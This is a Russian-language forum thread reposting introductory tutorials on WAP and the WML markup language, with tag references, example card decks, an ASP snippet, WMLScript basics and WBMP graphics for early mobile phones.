ElseIf Request.Form("Items") = "Video" Then
Body = "You selected Video!"
ElseIf Request.Form("Items") = "Software" Then
Body = "You selected Software!"
ElseIf Request.Form("Items") = "Music" Then
Body = "You selected Music!"
End If
Response.ContentType = "text/vnd.wap.wml"%>
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card>
<p>
<%Response.write(Body)%>
</p>
</card>
</wml>
Несколько вещей необходимо напомнить для тех, кто захочет повторить этот пример в своих условиях. Вы обязательно должны "зарегистрировать" MIME типы на своем сервере для того, чтобы файлы WML и WMLScript правильно обрабатывались и отображались сервером.
.wml text/vnd.wap.wml
.wmls text/vnd.wap.wmlscript
Если вы хотите использовать картинки (WBMP) вам также необходимо добавить и этот MIME-тип:
.wbmp image/vnd.wap.wbmp
Заключение
WML предоставляет разработчикам совершенно новую замечательную платформу для создания приложений. Эта платформа бросает нам новый вызов. Новые нюансы, связанные с низкой пропускной способностью, маленьким экраном и различными серверными заморочками, добавятся в процесс дизайна. Несмотря на то, что производителям придется пройти различные стадии осознания новых возможностей и ограничений для того чтобы суметь наконец достаточно внятно сформулировать коммерческое предложение, WAP открывает широкие двери в новую эру разработки и развертывания приложений.
Описание тегов (переведено из документации Motorola SDK) :
Деки.
Дека определяется элементом wml
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card>
<p>Hello World!</p>
</card>
</wml>
Задачи.
Элемент:
Do
Атрибуты:
type - указывает микроброузеру назначение кнопки. В WML определяется девять типов, но в подавляющем большинстве случаев используются "accept" и "options".
label - значение этого атрибута используется для замены названия кнопки. Это помогает кастомизировать приложения. Количество символов на кнопке ограничено возможностями устройства.
name - установка этого атрибута дает возможность разработчику воспользоваться преимуществами иерархической структуры WML-документа. Элемент "do" с именем "one" унаследует свойства определенные элементу с таким же именем в элементе "template" этой деки.
optional - указывает микроброузеру на необязательность показа этой кнопки в случае если атрибуту присвоено значение true.
Элемент
Go
Атрибуты:
href - URL.
sendreferer - этот атрибут необходим серверу в списках контроля доступа. Его значение указывает броузеру на то, что необходимо отослать на сервер URL минимально возможной длины.
method - может принимать значение либо "post" либо "get". Значение аналогично HTML.
accept-charset - указывает кодировку, в которой микроброузер должен посылать ссылку.
Небольшой пример простейшей навигации.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="Start">
<do type="accept">
<go href="#nextCard"/>
</do>
<p>Hello World!</p>
</card>
<card id="nextCard">
<do type="options">
<prev/>
</do>
<p>Next Card!</p>
</card>
</wml>
Элемент
Setvar
Атрибуты:
name - имя, присваемое переменной. Переменная так же может выполнять эту функцию, например:
<setvar name=$bogus value=$bear>.
value - значение, присваемое переменной.
Элемент
Postfield
Атрибут:
name имя, присваемое переменной. Переменная так же может выполнять эту функцию, например:
<postfield name=$bogus value=$bear>.
value - значение, присваемое переменной.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="Start" label="Bob's CGI">
<do type="accept">
<setvar name="lastExecuted" value="bob.cgi"/>
<go href="bob.cgi" method="post">
<postfield name="one" value="one one"/>
<!-- the server should be able to tell that
there are two values for the key one. -->
<postfield name="one" value="one"/>
<postfield name="two" value="two two"/>
</do>
<p>Hello World!</p>
</card>
</wml>
Элемент
Anchor
Атрибуты:
title - имя элемента. Микроброузер может воспользоваться этим атрибутом по своему усмотрению. При перемещении курсора на анкор, микроброузер может вывести его имя в софт-кнопке.
Элемент
A
Атрибут:
href - URL на который ссылается анкор. У этого элемента нет дополнительных атрибутов позволяющих указать статус ссылки или ее метод. Если необходимы эти опции можно воспользоваться элементом "anchor" с внедренным в него элементом "go":
<anchor>
click me
<go href="#clickedMe"/>
</anchor>
<a href="#clickedMe">click me</a>
События.
Элемент
Onevent
Атрибуты:
type - Тип события, которое будет обрабатываться
Существует четыре типа событий:
onenterbackward
Сработает при выборе элемента "prev"
onenterforward
Сработает при вызове карты
onpick
Сработает при выборе опции в списке элемента "select"
ontimer
Сработает по истечении времени у элемента "timer".
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="start">
<do type="accept">
<go href="two"/>
</do>
<p>Choose Accept.</p>
</card>
<card id="two">
<do type="accept">
<go href="three"/>
</do>
<onevent type="onenterbackward">
<prev/>
</onevent>
<p>Choose Accept</p>
</card>
<card id="three">
<do type="accept">
<prev/>
</do>
<p>Choose Accept.</p>
</card>
</wml>
Структура
Элемент
Access
Атрибуты:
domain - имя домена для запрета доступа. Микроброузер будет просматривать и сравнивать со значением этого атрибута все имена доменов встречающиеся в документе. Так если "<access domain="motorola.com"/>" броузер сможет зайти на "http://www.motorola.com/", но не сможет зайти на "http://www.rola.com/" или на "http://www.motorola.net/".
path - путь для сравнения. Работает примерно так же как и атрибут домен. Так если "<access path="/internal"/>" путь "/internal/wml" пройдет проверку, в то время как "/internal-wml" - нет.
Элемент "access" с примерно такими атрибутами: "<access domain="motorola.com" path="/spin"/>" разрешит ссылку на деку только со следующих адресов:
http://www.motorola....spin/getuid.cgi
https://www.motorola.../spin/index.wml
http://www.motorola....i...x=123&y=234
А с этих запретит: http://www.mot.com/spin/getuid.cgi
http://www.motorola....spin/getuid.cgi
Элемент
Card
События:
onenterbackward
Сработает при выборе элемента "prev"
onenterforward
Сработает при вызове карты
ontimer
Сработает по истечении времени у элемента "timer".
Атрибуты:
id - атрибут, позволяющий сослаться на эту карточку из других элементов. Ссылка на карточку состоит из символа "#" и значения ее атрибута id (#nextcard).
title - значение этого атрибута может быть использовано для озаглавливания экрана, в котором отображается карточка, а также может появится в списке ранее посещенных страниц, а также в любом другом месте по усмотрению микроброузера.
newcontext - может быть использован для того, чтобы сбросить состояние деки. Этот атрибут может иметь значение "true" или "false".
ordered - сообщает микроброузеру принадлежит ли эта карта к упорядоченному списку карт или нет. Разработчики могут использовать этот атрибут по своему усмотрению и разрабатывать либо деку с последовательным просмотром карточек, либо состоящую из одной большой карточки.
Немного более сложная дека в качестве примера:
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<head>
<access domain="motorola.com" path="/spin"/>
</head>
<template>
<do type="accept" name="accept1" label="OK">
<go href="#accept"/>
</do>
</template>
<card id="start" title="Start Here">
<p>
Start Here.
</p>
</card>
<card id="accept" title="Okay Card">
<do type="accept" name="accept1" label="Okay">
<go href="#accept2"/>
</do>
<p>
Card Accept
</p>
</card>
<card id="accept2" title="OK Card" >
<do type="accept" >
<go href="#start" />
</do>
<p>
Card Accept2
</p>
</card>
</wml>
Управление
Управляющими элементами в WML являются элементы "select" и "input". У каждого есть несколько подэлементов, а также механизм группировки, для приведения нескольких относящихся друг к другу элемементов ввода к одной логике. Также тут присутствует атрибут tabindex. этот атрибут определяет последовательность в которой происходит передвижение по элементам.
Элемент
Select
Атрибуты
multiple - по умолчанию равно "off". При включении этого атрибута пользователь может выбрать несколько элементов из предложенного списка.
name - обозначает имя переменной в которой будет храниться значение введенной в этом поле информации.
value - значение элемента по умолчанию.
iname - имя выбранного элемента(ов) списка. Значение "0" означает, что в списке нет элементов. Нумерация элементов списка начинается с "1" и постепенно увеличивается.
ivalue - имя переменной, в которой содержится значение(я) выбранных элементов списка. Несколько значений можно ввести, разделяя их ";", например (1;2) . Нельзя вводить пустое значение переменной. Так значение (1;;2) - неправильно.
title - заголовок. Указывается для того, что бы микроброузер определил тип навигационного элемента.
tabindex - очередь следования этого элемента относительно других. Реализация зависит от броузера.
Элемент:
Option
Атрибуты:
value - значение, присваемое переменной элемента select, в случае выбора этой опции
title - заголовок. В зависимости от микроброузера может не выводиться на экран.
onpick - URL на который пойдет микроброузер, в случае выбора этой опции.
Элемент:
Optgroup
Атрибуты:
title - заголовок. В зависимости от микроброузера может не выводиться на экран.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card>
<p>
Bogus:
<select name="bogus">
<optgroup title="one">
<option value="uno">uno</option>
<option value="eins">eins</option>
</optgroup>
<optgroup title="two">
<option value="dos">dos</option>
<option value="zwei">zwei</option>
</optgroup>
</select>
</p>
</card>
</wml>
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<template>
<do type="options" label="Back">
<prev/>
</do>
</template>
<card id="lists">
<p>
<select title="Pick Lists">
<option onpick="#single">Single</option>
<option onpick="#multiple">Multiple</option>
</select>
</p>
</card>
<card id="single">
<onevent type="onenterbackward">
<prev/>
</onevent>
<do type="accept">
<go href="#display_fav"/>
</do>
<p>
Pick your fav Stooge:
<select name="fav" title="Stooges">
<option value="Moe">Moe</option>
<option value="Shemp">Shemp</option>
<option value="Larry">Larry</option>
<option value="Curley">Curley</option>
<option value="Curley Joe">Curley Joe</option>
</select>
</p>
</card>
<card id="multiple">
<onevent type="onenterbackward">
<prev/>
</onevent>
<do type="accept">
<go href="#display_fav"/>
</do>
<p>
Pick your fav Marx Bro.
<select multiple="true" title="Marx Bros" name="fav" >
<option value="Groucho">Groucho</option>
<option value="Harpo">Harpo</option>
<option value="Chico">Chico</option>
<option value="Zeppo">Zeppo</option>
</select>
</p>
</card>
<card id="display_fav">
<p>
Your fav was $fav.
</p>
</card>
</wml>
Элемент:
Input
Атрибуты:
name - то же, что и в элементе select. обозначает имя переменной в которой будет храниться значение введенной в этом поле информации.
value - значение поля по-умолчанию.
type - имеет значение либо "text" либо "password". В зависимости от микроброузера поле типа "password" может отображаться на дисплее видимым текстом.
format - маска ввода.
A - Любая буква в верхнем регистре [A-Z]
a Любая буква в нижнем регистре и пунктуация [a-z]
N - любая цифра [0-9]
X - любой символ в верхнем регистре [A-Z,0-9]
x - любой символ в нижнем регистре [a-z,0-9]
M - любой символ
m - любой символ
*f - любое количество символов определенного формата, например *N -любое количество цифр
nf - "n" это целое число так например "3A" означает 3 буквы в верхнем регистре или пунктуации.
\c - символ ввода, так например "\(3N\)\ \3N\-4N" означает номер телефона с кодом местности в американском формате.
emptytok - разрешает пустой ввод
size - ширина поля ввода. Реализация зависит от броузера.
Maxlength - определяет максимальное количество вводимых.
Title - заголовок, показывается броузером в некоторых случаях. Рекомендуется использовать атрибут title во всех элементах, которые им располагают, потому что в некоторых телефонах заполнение поля ввода реализовано в виде отдельного окошка, при этом title будет выводится в качестве напоминания, какое именно поле в настоящий момент заполняет пользователь.
Элемент:
Fieldset - Использование зависит от микроброузера.
Атрибуты:
title - Заголовок
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<template>
<do type="options" label="Back">
<prev/>
</do>
</template>
<card id="fields">
<p>
Field Type:
<select title="Field type">
<option onpick="#nested">Nested</option>
<option onpick="#password">Password</option>
</select>
</p>
</card>
<card id="nested">
<onevent type="onenterbackward">
<prev/>
</onevent>
<do type="accept" label="Done">
<go href="#done"/>
</do>
<p>
First Name:
<input title="First" name="fname"/>
Last Name:
<input title="Last" name="lname"/>
Gender:
<select title="Gender" name="gender">
<option value="male">Male</option>
<option value="female">Female</option>
</select>
</p>
</card>
<card id="done">
<p>
$fname $lname is a $gender.
</p>
</card>
<card id="password">
<onevent type="onenterbackward">
<prev/>
</onevent>
<do type="accept" label="Done">
<go href="#passwd_done"/>
</do>
<p>
Input a password:<br/>
Min 3 chars.
<input title="Password" name="passwd" type="password"
format="*m"/>
</p>
</card>
<card id="passwd_done">
<p>
Password was $passwd.
</p>
</card>
</wml>
Таймер
Элемент:
timer
Атрибуты:
value - промежуток времени в десятых долях секунды.
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="first" ontimer="#next">
<timer value="100"/>
<p>Wait ten seconds</p>
</card>
<card id="next">
<timer value="10"/>
<onevent type="timer">
<go href="#first"/>
</onevent>
<p>Подождите минутку</p>
</card>
</wml>
Текст
У элемента p нет атрибутов
У элемента br нет атрибутов

#19
+s.p.a.m.+

Отправлено 18 ���� 2008 - 10:17

+s.p.a.m.+

    Личный хакер форума=)

  • Banned
  • 228 сообщений
Введение в язык WML.
© by DzS=D¤ggỹ ™
http://www.club.cris.net/dzs

В настоящее время интерес к услугам мобильного Интернета только начинает расти. У ряда сайтов появились версии для просмотра с мобильных устройств. Да и ассортимент подобных устройств значительно увеличился. К ним относятся не только сотовые телефоны, но и так называемые PDA (Personal Digital Assistants). Вполне вероятно, что в ближайшее время спрос на web-мастеров, способных делать такие сайты, возрастет. Давайте попробуем разобраться, как они делаются.
Понятно, что броузеры, встроенные в мобильные устройства, имеют ряд существенных ограничений по сравнению со своими старшими братьями. И поэтому для них разработаны специальные стандарты. На сегодняшний день наиболее распространен язык разметки WML (Wireless Markup Language), базирующийся на стандарте WAP (Wireless Application Protocol), предложенном Форумом WAP (www.wapforum.org). На сегодняшний день наиболее распространена версия протокола WAP 1.1 (кстати, не совместимая с первой). Она была выпущена в 1999 году, а в ближайшее время выйдет очередная версия WAP 1.2. Как и почти у любого стандарта, у WML есть конкуренты. Но из всех конкурирующих технологий стандартизирован только C-HTML (Compact-HTML). Этот стандарт разработан консорциумом World Wide Web в 1998 году (спецификацию C-HTML можно найти на сервере консорциума W3C: www.w3c.org/TR/1998/ Note-compactHTML-19980209). Выполненная по стандарту C-HTML страница будет нормально воспроизводиться практически любым броузером (даже Lynx). Но и у этого стандарта есть недостатки: он, в частности, не предполагает поддержку каких-либо языков сценариев. Преимущества же WML перед прочими стандартами неоспоримы. Он включает в себя не только язык разметки, но и язык сценариев WMLScript, и растровый графический формат Wireless BitMap (WBMP).
WAP (Wireless Application Protocol) - открытый глобальный протокол, который дает возможность пользователям сотовых телефонов получать доступ в Инет прямо с терминала. Путь WAP'а долог и тернист. Phone.com, Ericsson, Nokia и многие другие гиганты мобильной связи начали разрабатывать стандарты независимо друг от друга, но, как ни странно, скоро они поняли, что лучше объединить свои усилия и создать единый протокол.
Сперва приведу некоторые технические аспекты:
Набор протоколов WAP имеет два важных свойства: независимость от радиоканальных протоколов сотовых сетей и возможность наращивания функций за счет дополнительных прикладных служб связи. В состав WAP входит важная инструментальная подсистема WAE (Wireless Application Environment), содержащая логические схемы и протокольные процедуры, которые используются разработчиками WAP-применений. Например, прикладные задачи WAP встраиваются в Сервер применений, действующий как стандартный Web-сервер (или приложение, вызываемое на странице Web-сервера). WAP-протоколы мобильной связи при этом реализуются в трех компонентах: WAP-клиент, WAP-шлюз и WAP-фильтр.
Данная схема иллюстрирует логику взаимодействия абонента сотовой сети с Web-задачами Интернет. В мобильном терминале выполняется прикладная программа "WAP-клиент". WAP-клиент запускается из интерфейсной программы, обрабатывающей команды меню (например, в режиме голосового управления или "перьевого" ввода команд). Интерфейсная программа, как и WAP-клиент, работает в среде операционной системы радиотелефона (например, под управлением Windows СЕ, Symbian или Palm). WAP-клиент через свои транспортные протоколы ведет обмен данными по радиоканалам сотовой сети с WAP-шлюзом. Получая ответы (например, Web-страницы) из WAP-шлюза, WAP-клиент формирует буфер обмена данными и вызывает интерфейсную программу, которая представляет эти ответы на экране терминала (в текстовом или графическом виде) или отображает их речевыми (звуковыми, вибро-) потоками сигналов. Интерфейсная программа работает в Прикладной среде и имеет общее название для всех WAP-применений - WAE User Agent (Пользовательский Агент или WAP-агент).WAP-шлюз/фильтр, выполняющий шлюзование содержательной информации, конвертирует стандартные Web-страницы (в синтаксисе HTML) в упрощенные страницы на языке WML (Wireless Markup Language). Средствами WML формируются также экранные образы этих страниц для отображения на дисплее мобильного терминала. Такие WML-страницы называются картами. Выводной набор карт - это WML-файл, в котором отдельные записи разделяются специальными метками (в каждый момент времени на экране терминала отображается одна карта).
В отличие от HTML, синтаксис WML содержит процедуры вызова функций управления задачами, обработки событий и навигации в среде Web-сайтов.
WML имеет также принципиально новый механизм по сравнению с HTML - контекст. Контекстное управление позволяет на уровне анализа пользовательских команд принимать решение по обслуживанию запросов клиента. HTML требует обязательной обработки сервером контекстной ситуации - механизм cookies.
Если же заглядывать в будущее, то можно сказать, что у америкашек будущее вапа намного светлее, чем у нас. Вап-телефоны у них дешевле, вап-доступ тоже. По их прогнозам, в недалеком будущем телефоны еще подешевеют и станут быстрее. Эта технология интенсивно развивается, и самый новый телефон WAP будет намного лучше своих предшественников даже в сугубо техническом аспекте.
Любопытные исследования провела компания Forrester - одна из ведущих независимых фирм, которая анализирует будущее технологических изменений и воздействия оных на предпринимателей, потребителей и общество. Этот исследовательский институт провел исследование по поводу WAP, и выдал следующее: к 2004 г. одна треть всех европейцев - больше чем 219 миллионов потребителей - будут регулярно использовать свои мобильные телефоны, чтобы обратиться к услугам сети. Согласно недавнему отчету Forrester'а, девяносто процентов компаний, занимающихся e-торговлей, собираются запустить сайты, разработанные для портативных телефонов с крошечными дисплеями и тонкими соединениями. Forrester-аналитики подчеркивают, что единственным моментом, который может замедлить эту разработку, является ограниченный доступ пользователя к данному сервису.
Другими словами, интеллектуальные телефончики станут доминирующими средствами доступа к Интернету буквально через несколько лет - именно тогда вап-телефоны составят 79% от объема мобильных телефонов в мире.
Интернет, конечно, сохранит свои позиции там, где речь идет об обмене информацией. Но если в силу профессиональных интересов вам нужно быть в курсе событий на фондовом рынке или последних спортивных результатах, WAP будет самым быстрым и самым простым способом сделать это - с этим трудно не согласиться. Торговать также станет легче. Достаточно будет "позвонить" в Интернет с телефона и заказать буханку хлеба или килограмм сала себе на дом
Вот таково светлое будущее вапа на Западе - об этом можно узнать, путешествуя по их части Сети. Но я думаю, что не стоит отчаиваться т. к. существует целый ряд неудобств в использовании этой "фичи".
Во-первых, пока не пройдет мода на крошечные телефоны, которые легки в использовании и не занимают много места в кармане, WAP-экран вынужден быть малым. Следовательно, и количество информации гораздо меньше, чем на вашем компьютере - в силу физических особенностей телефона. И разрешающие показатели у экрана отнюдь не так хороши, как у мониторов. Вы можете просматривать изображения с WAP, но они будут размыты и неразборчивы.
Во-вторых, недостатком вап-протокола является скорость передачи данных. Разработчики телефонов постоянно работают над тем, как сделать доставку информации к вашему телефону более быстрой. GSM-сеть, существующая в большинстве стран Европы сегодня, является довольно медленным способом посылки информации (9600 Кбит/с). Новые сетевые технологии которые разработались, называются HSCD (high speed circuit switch data) и GPRS (General Packet Radio Service). Они обеспечат гораздо более скоростное соединение. Вскоре Европейские страны будет формировать новую широкополосную сеть, называемую UMTS. Так что имеет смысл подождать с переходом с компьютера на Вап-телефон.
В третьих, намного тяжелее использовать электронную почту на вашем телефоне, чем на вашем PC. Когда люди начинают использовать мобилку, чтобы читать и отсылать электронную почту, сразу возникнет потребность в лучшей клавиатуре.
В четвертых, количество памяти. Оно мало настолько, что аж неприлично про это говорить.
Ну, и наконец, главный (как для наших широт) недостаток - экономический. На данный момент средняя стоимость одного часа работы в Инет с использованием Вап составляет $6. То бишь часов 12 (в среднем) хорошего диал-апа на компьютере.
В связи со всеми перечисленными недостатками может сложиться мнение, что Вап - это нечто временное. Но на мой взгляд, это не так.
В сети вы уже могли прочитать статьи про Bluetooth. Так вот, этот самый "голубой зуб" вдохнет новую жизнь в беспроволочную технологию. Как гласит один из слоганов на заокеанских сайтах, посвященных этой тематике, "беспроволочный мир станет еще беспроволочнее" (и дороже, добавляю я ).
И все таки, перспективы заманчивые.
Неужели я смогу, сидя в глухом селе, без обычных телефонных линий, но с ВапЗубоСупер-Пупер Телефоном кинуть "мыло" эмигранту из этого же села в Канаду, а после распечатать ответ у себя в офисе - и все это, не слезая с печки!?
В основе WAP сайта лежит язык wml, являющийся подязыком XML. Внешне язык wml напоминает html, но он более упрощеный.Так как WAP работает в GSM по каналу передачи данных, скорость его составляет 9.6Кб/с.То есть небольшая. Перед разработчиками изначально стояла задача уменьшить размер wml страниц. Страница в WAP имеет размер до 2 Кб. В WAP используются рисунки специального стандарта wbmp. Рисунки имеют размер до 1,5 Кб.
Основная проблема при создании wml страниц разная реализация WAP у разных производителей( то есть телефон NOKIA и MOTOROLA по разному отображают одну и туже страницу),отсутствие стандартов на Русские кодировки. Проблемы эти решены, но создают некий дискомфорт в работе.
Инструменты web-мастера
Перед тем как попробовать создать нашу WML-страничку, посмотрим, какие инструменты могут для этого понадобиться. Конечно, инструментарий разработчика WML уступает инструментарию для создания обычных web-страниц, но, тем не менее, он вполне представителен.
Понятно, что не у каждого web-мастера есть сотовый телефон, но тут на помощь приходят программы-эмуляторы, с помощью которых можно отлаживать wml-страницы без реального устройства. Мы опишем несколько таких продуктов.
Хороший эмулятор можно бесплатно скачать с сайта www.phone.com. Он входит в комплект UP.SDK 4.0 (6 Мбайт, www.phone.com/products/upsdk.html), который содержит эмулятор телефона, библиотеки разработчика, подробную документацию и массу примеров. Только что вышла очередная версия другого неплохого эмулятора M3Gate v0.5 (1,6 Мбайт, www.m3gate.com).
Один из самых мощных и полных наборов инструментов – Nokia SDK (15 Мбайт, www.forum.nokia.com/waplogin). Предлагается версия и для операционной системы Linux. Популярный альтернативный броузер Opera теперь поддерживает WML (www.opera.com/download.html).
В создании WBMP поможет UnWired plug-in фирмы RCP Distributed Systems (www.rcp.co.uk/distributed/downloads), который позволяет сохранять в формате WBMP рисунки из Photoshop 5.x или Paintshop Pro на платформе Windows (в окне сохранения файла появляется пункт «UnWired.wbmp»). Существует плагин и для GIMP, так что пользователи Linux тоже не обделены (registry.gimp.org/plugins/wbmp/wbmp.tar). Стоит также серьезно отнестись к редактору изображений из Nokia SDK.
Необходимо также упомянуть wapaint.dll – ActiveX Server module (www.wapaint.com). Он предназначен для работы в ASP-скриптах на сервере. С его помощью генерируются динамические картинки.
Ссылки с описаниями на эти и другие инструменты для создания WBMP вы сможете найти на www.wap-resources.net/wbmptools.shtml.
WML собственной персоной
WML очень напоминает HTML, поэтому освоение его не должно составить труда. Тем не менее, отличия заметны. По протоколу WAP данные поступают на мобильное устройство в виде так называемых колод (desks). Размер такой колоды невелик (что является существенным ограничением по сравнению с HTML) и равен 1,5 Кбайт. Каждая колода состоит из нескольких карт (cards). Карта соответствует одной странице, отображаемой на экране устройства, поэтому не стоит делать их слишком большими. Ведь экраны сотовых телефонов невелики – около 5 строк. У PDA экран обычно больше, но и он не может сравниться с экраном персонального компьютера. Поэтому особое внимание нужно уделить читаемости текста и ограничивать размер страницы 4-5 экранами.
Итак, приступим к созданию WML-страницы. Проще всего разбираться в этом деле на примере (листинг 1, рис. 1).
Листинг 1
<?xml version="1.0"?>
<!DOCTYPE wml PUBLIC "-//WAPFORUM//DTD WML 1.1//EN"
"http://www.wapforum....D/wml_1.1.xml">
<wml>
<card id="home" title="WML-COOL!">
<p align="center">Mobile World<br/>
<img src="welcome.wbmp" alt="winner"/><br/>
<do type="accept" label="next"><go href="#card1"/>
</do></p>
</card>
<card id="card1" title="WML-COOL!">
<p align="center"><br/>Welcome to WAP<br/>
powering the mobile<br/>
<big>INTERNET!</big></p>
<do type="accept" label="home"><go href="#home"/>
</do>
</card>
</wml>
С тегами <wml>...</wml> все понятно – они начинают и завершают документ, а тело каждой карты обрамляется тегами <card>...</card>.
Не вполне понятными выглядят строки в заголовке. На самом деле все просто, WML – это ветвь XML, а любой XML-документ сначала должен пройти проверку на соответствие своему DTD (Document Type Definition). Следовательно, в любом wml-файле необходимо указать полный путь к WML DTD. DTD-ссылка указывает на сайт W@PForum (www.wapforum.org), координирующий WAP-разработки. DTD описывает все обязательные элементы стандарта WML, интерпретируемые всеми WML-броузерами.
Поскольку на экран выводится по одной карте, то в элементе card предусмотрен атрибут id – внутренний идентификатор для переходов, а также видимый на экране заголовок title. Теги форматирования текста близки к тегам HTML.
Для навигации и установки гиперссылок используются теги <anchor> и <a>. Семантика <a> повторяет HTML, а в теге <anchor> используется либо тег <go> с атрибутом href, задающим адрес ссылки, либо тег <prev> – вернуться к предыдущему экрану.
Вызвав страницу, мы получаем первую карточку. Чтобы перейти к следующей карте, необходимо как-то адресоваться к ней, для этого служит id тега <card> – уникальный идентификатор карты. Обратите внимание также на title – название карточки, это может иметь смысл, например, для закладок.
В WML есть теги для ввода данных. Они тоже близки к своим HTML-аналогам. Поле <input> предназначено для ввода данных пользователем, <select/option> – поле выбора из заранее заданного списка, <postfield> – аналог скрытых <input> в HTML-формах. Атрибуты name тегов <input> и <select> хранятся как переменные на всем пространстве колоды и выступают параметрами в переходах по <go> и <a>. Посредством других атрибутов <input> разных типов (type, format, maxlength) можно управлять форматным вводом. Пользуясь тегом <fieldset>, можно задавать некоторые стили оформления.
Забегая вперед, посмотрите листинг 2. В нем атрибут name – имя переменной, куда заносится значение, type – тип формы (текст или число), value – значение по умолчанию (до ввода), format – маска ввода.
Атрибут emptyok показывает, допустима ли в качестве значения пустая строка. В теге <input> могут быть использованы атрибуты size – ширина поля ввода, maxlength – определяет максимальное количество вводимых знаков.
Теги действий (<tasks>, <do>) используются для структур типа меню и для описания отдельных действий, например, для выбора новой карты/ссылки. Типовые теги действий – это <go>, <prev>, <refresh> (перечитать текущую карту) или <noop> (ничего не делать). Действия на уровне конкретной карты описываются в тегах <do>, а на уровне всей колоды – в теге <template>.
При помощи тега <timer> и атрибута ontimer тега <card> можно, например, на время «заморозить» страницу. На практике часто применяется ontimer="url", говорящий, что некое время карта должна отображаться, а затем должен загрузиться ресурс с адреса url. Время в атрибуте value выражается в 0,1 с.
Согласно спецификации WML, у тегов <do> должны быть уникальные значения name, но если какое-либо из имен опущено, то подразумевается, что оно берется из атрибута type. В таких случаях различные элементы <do> легко могут начать пересекаться по именам, что станет источником ошибок. В WML есть также возможность назначать клавиши навигации. Тег <onevent type="button"><действие></onevent> позволяет закрепить за одной из кнопок телефона (зависит от модели) пользовательское событие. В качестве действия обычно используется <go href="url"/>. Так, добавив к карте строку
<onevent type= "GO"><go href="#card2"/></onevent>
мы назначим кнопке GO переход непосредственно в меню.
В завершение приведем несколько ссылок на документацию WML: www.webtipz.com/resource/wml/index.shtm, www.wmlclub.com, www.wirelessdevnet.com/training/WAP/WML.html.
Программируем на WMLScript
WMLScript создан на базе JavaScript, языка сценариев, который разработала фирма Netscape. Он существенно расширяет возможности языка WML. WMLScript исполняется на стороне клиента. Как и WML, WMLScript компилируется на шлюзе WAP в двоичную форму и затем отправляется клиенту. Мы лишь кратко опишем его особенности, а подробности вы можете найти, посетив W@PForum.
Синтаксис языка WMLScript заимствован из языка программирования ECMAScript. Однако WMLScript адаптирован под специфику мобильных устройств – небольшие объемы памяти и невысокую скорость передачи данных.
Самый маленький блок выполнения в WMLScript – инструкция. Каждая инструкция должна заканчиваться точкой с запятой. Комментарии в тексте программ записываются так же, как в С++ и Java. И подобно этим языкам WMLScript чувствителен к регистру букв.
Однако в отличие от этих языков WMLScript является языком со слабым контролем типов. Новые переменные объявляются с использованием ключевого слова var (например, var x;), то есть типы переменных не объявляются. Поэтому и никакого контроля типов ни на стадии компиляции, ни во время выполнения не производится. При выполнении операций над данными WMLScript будет при необходимости автоматически преобразовывать тип их значений. Поддерживаемые WMLScript типы данных приведены на врезке.
WMLScript не является объектно-ориентированным языком (как Java или C++). Поэтому в нем невозможно определять пользовательские типы данных. Все доступные типы объектов описаны в шести стандартных библиотеках (см. врезку).
WMLScript содержит большой набор операторов, которые выполняют операции присваивания, арифметические, логические, строковые операции, операции сравнения и операции над массивом. Операции и выражения WMLScript фактически идентичны JavaScript, так что мы не будем их здесь рассматривать.
В WMLScript есть возможность создания функций и модулей. Вот пример простой функции:
extern function
RunTime(distance, speed)
{
var time = distance/speed;
return time;
};
Единственное, что здесь, пожалуй, надо прокомментировать, – это необязательное ключевое слово extern. Оно нужно только если функцию предполагается вызывать из других модулей.
При обращении к функциям стандартных библиотек WMLScript к имени функции должно быть добавлено название библиотеки. Например, для вызова функции length() из библиотеки String используется такая команда:
var a = String.length("1234567890");
Для облегчения поиска документации по программированию на WMLScript приведем несколько ссылок: www.AnywhereYouGo.com/images/pdf/ayg_wap_tut_4.pdf, www.wirelessdevnet.com/training/WAP/WMLScript.html.
Графика в WML – WBMP
В WML поддерживается графический формат, называемый WBMP. Формат WBMP позволяет получать на мобильные устройства только монохромные изображения. Кроме того, если помнить об ограничениях на размер колоды, то положение пользователя такого устройства можно назвать незавидным. Да и маленькие экраны телефонов не слишком подходят для просмотра серьезной графики. Даже о таком (рис. 2) изображении придется забыть – слишком велик его размер – около 5 Кбайт. Но, конечно, не все безнадежно, и если вы захотите поместить, например, эмблему вашей фирмы, то это, скорее всего, у вас получится (рис. 3).
Для конвертирования в формат WBMP лучше всего выбирать маленькие контрастные изображения. Максимальный размер картинки в байтах зависит от устройства, но не должен превосходить ограничений на размер карты – 1,5 Кбайт.
Для вставки картинок в WML предназначен тег <img/>, где, как и в HTML, для ссылки на файл картинки используется атрибут src. Однако для того чтобы не обращаться лишний раз к сереверу, можно пользоваться встроенными в броузер пиктограммами. Для этого служит атрибут localsrc:
<a href="default.wml">
<img localsrc="house"
alt="Home" />Home
</a>
Атрибут align задает способ выравнивания картинки – top, bottom или middle. Также имеются и другие знакомые по HTML атрибуты этого тега: height, width, vspace, hspace.
